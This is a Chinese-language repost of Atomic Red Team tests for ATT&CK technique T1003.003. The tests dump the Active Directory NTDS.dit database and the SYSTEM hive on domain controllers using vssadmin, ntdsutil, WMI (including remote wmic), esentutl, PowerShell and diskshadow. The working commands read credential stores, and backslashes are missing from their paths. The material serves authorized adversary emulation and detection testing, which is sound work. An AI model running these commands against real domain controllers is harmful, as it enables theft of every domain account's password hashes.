T1003.003 - 操作系统凭证转储:NTDS

admin 2025年3月16日22:21:11评论8 views字数 5830阅读19分26秒阅读模式
Atomic Red Team™是一个映射到MITRE ATT&CK®框架的测试库。安全团队可以使用Atomic Red Team快速、可移植和可重复地测试他们的环境。

本文章为Atomic Red Team系列文章,本篇文章内容为T1003-操作系统凭证转储。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。

重要声明 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。

T1003.003 - 操作系统凭证转储:NTDS

来自ATT&CK的描述

攻击者可能会尝试访问或创建活动目录域数据库的副本,以窃取凭证信息,并获取有关域成员的其他信息,如设备、用户和访问权限。默认情况下,NTDS文件(NTDS.dit)位于域控制器的%SystemRoot%NTDSNtds.dit中。(引用:维基百科 - 活动目录)

除了在活动的域控制器上查找NTDS文件外,攻击者可能会搜索包含相同或相似信息的备份。(引用:Metcalf 2015)

以下工具和技术可用于枚举NTDS文件以及整个活动目录哈希的内容:

  • 卷影副本
  • secretsdump.py
  • 使用Windows内置工具ntdsutil.exe
  • Invoke-NinjaCopy

原子测试

  • 原子测试#1 - 使用vssadmin创建卷影副本
  • 原子测试#2 - 从卷影副本复制NTDS.dit
  • 原子测试#3 - 使用NTDSUtil转储活动目录数据库
  • 原子测试#4 - 使用WMI创建卷影副本
  • 原子测试#5 - 使用WMI远程创建卷影副本
  • 原子测试#6 - 使用esentutl通过WMI远程创建卷影副本
  • 原子测试#7 - 使用Powershell创建卷影副本
  • 原子测试#8 - 创建指向卷影副本的符号链接
  • 原子测试#9 - 使用diskshadow创建卷影副本

原子测试#1 - 使用vssadmin创建卷影副本

此测试旨在在域控制器上运行。

活动目录数据库NTDS.dit可以通过从卷影副本复制来进行转储。

  • 支持的平台:Windows
  • 自动生成的GUID:dcebead7-6c28-4b4b-bf3c-79deb1b1fc7f
  • 输入参数:
名称
描述
类型
默认值
drive_letter
卷影副本源的驱动器号(包括冒号)
字符串
C:
  • 攻击命令:使用command_prompt运行!需要提升权限(例如root或管理员权限)
vssadmin.exe create shadow /for=#{drive_letter}
  • 依赖项:使用command_prompt运行!
  • 描述:目标必须是域控制器
  • 检查先决条件命令:
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlProductOptions  /v ProductType | findstr LanmanNT
  • 获取先决条件命令:
echo Sorry, Promoting this machine to a Domain Controller must be done manually

原子测试#2 - 从卷影副本复制NTDS.dit

此测试旨在在域控制器上运行。

活动目录数据库NTDS.dit可以通过从卷影副本复制来进行转储。

此测试需要先执行“使用vssadmin创建卷影副本”测试中的步骤。成功的测试还需要导出SYSTEM注册表配置单元。此测试必须在Windows域控制器上执行。

  • 支持的平台:Windows
  • 自动生成的GUID:c6237146-9ea6-4711-85c9-c56d263a6b03
  • 输入参数:
名称
描述
类型
默认值
vsc_name
卷影副本的名称
字符串
?GLOBALROOTDeviceHarddiskVolumeShadowCopy1
extract_path
提取NTDS.dit的路径
路径
C:WindowsTemp
  • 攻击命令:使用command_prompt运行!需要提升权限(例如root或管理员权限)
copy #{vsc_name}WindowsNTDSNTDS.dit #{extract_path}ntds.ditcopy #{vsc_name}WindowsSystem32configSYSTEM #{extract_path}VSC_SYSTEM_HIVEreg save HKLMSYSTEM #{extract_path}SYSTEM_HIVE
  • 清理命令:
del "#{extract_path}ntds.dit"        >nul 2> nuldel "#{extract_path}VSC_SYSTEM_HIVE" >nul 2> nuldel "#{extract_path}SYSTEM_HIVE"     >nul 2> nul
  • 依赖项:使用command_prompt运行!
  • 描述:目标必须是域控制器
  • 检查先决条件命令:
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlProductOptions  /v ProductType | findstr LanmanNT
  • 获取先决条件命令:
echo Sorry, Promoting this machine to a Domain Controller must be done manually
  • 描述:卷影副本必须存在
  • 检查先决条件命令:
if not exist #{vsc_name} (exit /b 1)
  • 获取先决条件命令:
echo Run "Invoke-AtomicTest T1003.003 -TestName 'Create Volume Shadow Copy with vssadmin'" to fulfill this requirement
  • 描述:提取路径必须存在
  • 检查先决条件命令:
if not exist #{extract_path} (exit /b 1)
  • 获取先决条件命令:
mkdir #{extract_path}

原子测试#3 - 使用NTDSUtil转储活动目录数据库

此测试旨在在域控制器上运行。

活动目录数据库NTDS.dit可以使用NTDSUtil进行转储,用于离线凭证窃取攻击。此功能使用“IFM”(即“Install From Media”,从媒体安装)备份功能,该功能允许在无需基于网络的复制的情况下恢复活动目录或安装后续的域控制器。

成功完成后,你将在C:WindowsTemp目录中找到一个ntds.dit文件的副本。

  • 支持的平台:Windows
  • 自动生成的GUID:2364e33d-ceab-4641-8468-bfb1d7cc2723
  • 输入参数:
名称
描述
类型
默认值
output_folder
转储结果应放置的路径
路径
C:WindowsTempntds_T1003
  • 攻击命令:使用command_prompt运行!需要提升权限(例如root或管理员权限)
mkdir #{output_folder}ntdsutil "ac i ntds" "ifm" "create full #{output_folder}" q q
  • 清理命令:
rmdir /q /s #{output_folder} >nul 2>&1
  • 依赖项:使用command_prompt运行!
  • 描述:目标必须是域控制器
  • 检查先决条件命令:
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlProductOptions  /v ProductType | findstr LanmanNT
  • 获取先决条件命令:
echo Sorry, Promoting this machine to a Domain Controller must be done manually

原子测试#4 - 使用WMI创建卷影副本

此测试旨在在域控制器上运行。

活动目录数据库NTDS.dit可以通过从卷影副本复制来进行转储。

  • 支持的平台:Windows
  • 自动生成的GUID:224f7de0-8f0a-4a94-b5d8-989b036c86da
  • 输入参数:
名称
描述
类型
默认值
drive_letter
卷影副本源的驱动器号(包括冒号和反斜杠)
字符串
C:|
  • 攻击命令:使用command_prompt运行!需要提升权限(例如root或管理员权限)
wmic shadowcopy call create Volume=#{drive_letter}
  • 依赖项:使用command_prompt运行!
  • 描述:目标必须是域控制器
  • 检查先决条件命令:
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlProductOptions  /v ProductType | findstr LanmanNT
  • 获取先决条件命令:
echo Sorry, Promoting this machine to a Domain Controller must be done manually

原子测试#5 - 使用WMI远程创建卷影副本

此测试旨在从具有域管理员上下文的远程工作站运行。活动目录数据库NTDS.dit可以通过从卷影副本复制来进行转储。

  • 支持的平台:Windows
  • 自动生成的GUID:d893459f-71f0-484d-9808-ec83b2b64226
  • 输入参数:
名称
描述
类型
默认值
drive_letter
卷影副本源的驱动器号(包括冒号和反斜杠)
字符串
C:|
target_host
要攻击的目标IP地址/主机名
字符串
localhost
  • 攻击命令:使用command_prompt运行!需要提升权限(例如root或管理员权限)
wmic /node:"#{target_host}" shadowcopy call create Volume=#{drive_letter}
  • 依赖项:使用command_prompt运行!
  • 描述:目标必须是可访问的域控制器,并且当前上下文必须是域管理员
  • 检查先决条件命令:
wmic /node:"#{target_host}" shadowcopy list brief
  • 获取先决条件命令:
echo Sorry, can't connect to target host, check: network, firewall or permissions (must be admin on target)

原子测试#6 - 使用esentutl通过WMI远程创建卷影副本

此测试旨在从具有域管理员上下文的远程工作站运行。活动目录数据库NTDS.dit可以通过从使用esentutl创建的卷影副本复制来进行转储。

  • 支持的平台:Windows
  • 自动生成的GUID:21c7bf80-3e8b-40fa-8f9d-f5b194ff2865
  • 输入参数:
名称
描述
类型
默认值
source_path
要进行卷影复制的文件
字符串
c:windowsntdsntds.dit
target_path
结果文件的目标路径
字符串
c:ntds.dit
target_host
要攻击的目标IP地址/主机名
字符串
localhost
  • 攻击命令:使用command_prompt运行!需要提升权限(例如root或管理员权限)
wmic /node:"#{target_host}" process call create "cmd.exe /c esentutl.exe /y /vss #{source_path} /d #{target_path}"
  • 依赖项:使用command_prompt运行!
    • 检查先决条件命令:
    • 描述:目标必须是可访问的域控制器,并且当前上下文必须是域管理员
wmic /node:"#{target_host}" shadowcopy list brief
  • 获取先决条件命令
echo Sorry, can't connect to target host, check: network, firewall or permissions (must be admin on target)

原子测试#7 - 使用Powershell创建卷影副本

此测试旨在在域控制器上运行。

活动目录数据库NTDS.dit可以通过从卷影副本复制来进行转储。

  • 支持的平台:Windows
  • 自动生成的GUID:542bb97e-da53-436b-8e43-e0a7d31a6c24
  • 输入参数:
名称
描述
类型
默认值
drive_letter
卷影副本源的驱动器号(包括冒号)
字符串
C:
  • 攻击命令:使用powershell运行!需要提升权限(例如root或管理员权限)
(gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible')

原子测试#8 - 创建指向卷影副本的符号链接

此测试旨在在域控制器上运行。

活动目录数据库NTDS.dit可以通过创建指向卷影副本的符号链接来进行转储。

  • 支持的平台:Windows
  • 自动生成的GUID:21748c28-2793-4284-9e07-d6d028b66702
  • 输入参数:
名称
描述
类型
默认值
drive_letter
卷影副本源的驱动器号(包括冒号)
字符串
C:
symlink_path
符号链接路径
字符串
C:Tempvssstore
  • 攻击命令:使用command_prompt运行!需要提升权限(例如root或管理员权限)
vssadmin.exe create shadow /for=#{drive_letter}mklink /D #{symlink_path} \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1

原子测试#9 - 使用diskshadow创建卷影副本

此测试旨在在域控制器上运行,是使用vssadmin创建用于提取ntds.dit的卷影副本的替代方法。

  • 支持的平台:Windows
  • 自动生成的GUID:b385996c-0e7d-4e27-95a4-aca046b119a7
  • 输入参数:
名称
描述
类型
默认值
filename
脚本的位置
路径
PathToAtomicsFolderT1003.003srcdiskshadow.txt
  • 攻击命令
    :使用command_prompt运行!需要提升权限(例如root或管理员权限)
mkdir c:exfildiskshadow.exe /s #{filename}

原文始发于微信公众号(网空安全手札):T1003.003 - 操作系统凭证转储:NTDS

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月16日22:21:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   T1003.003 - 操作系统凭证转储:NTDShttps://cn-sec.com/archives/3841805.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息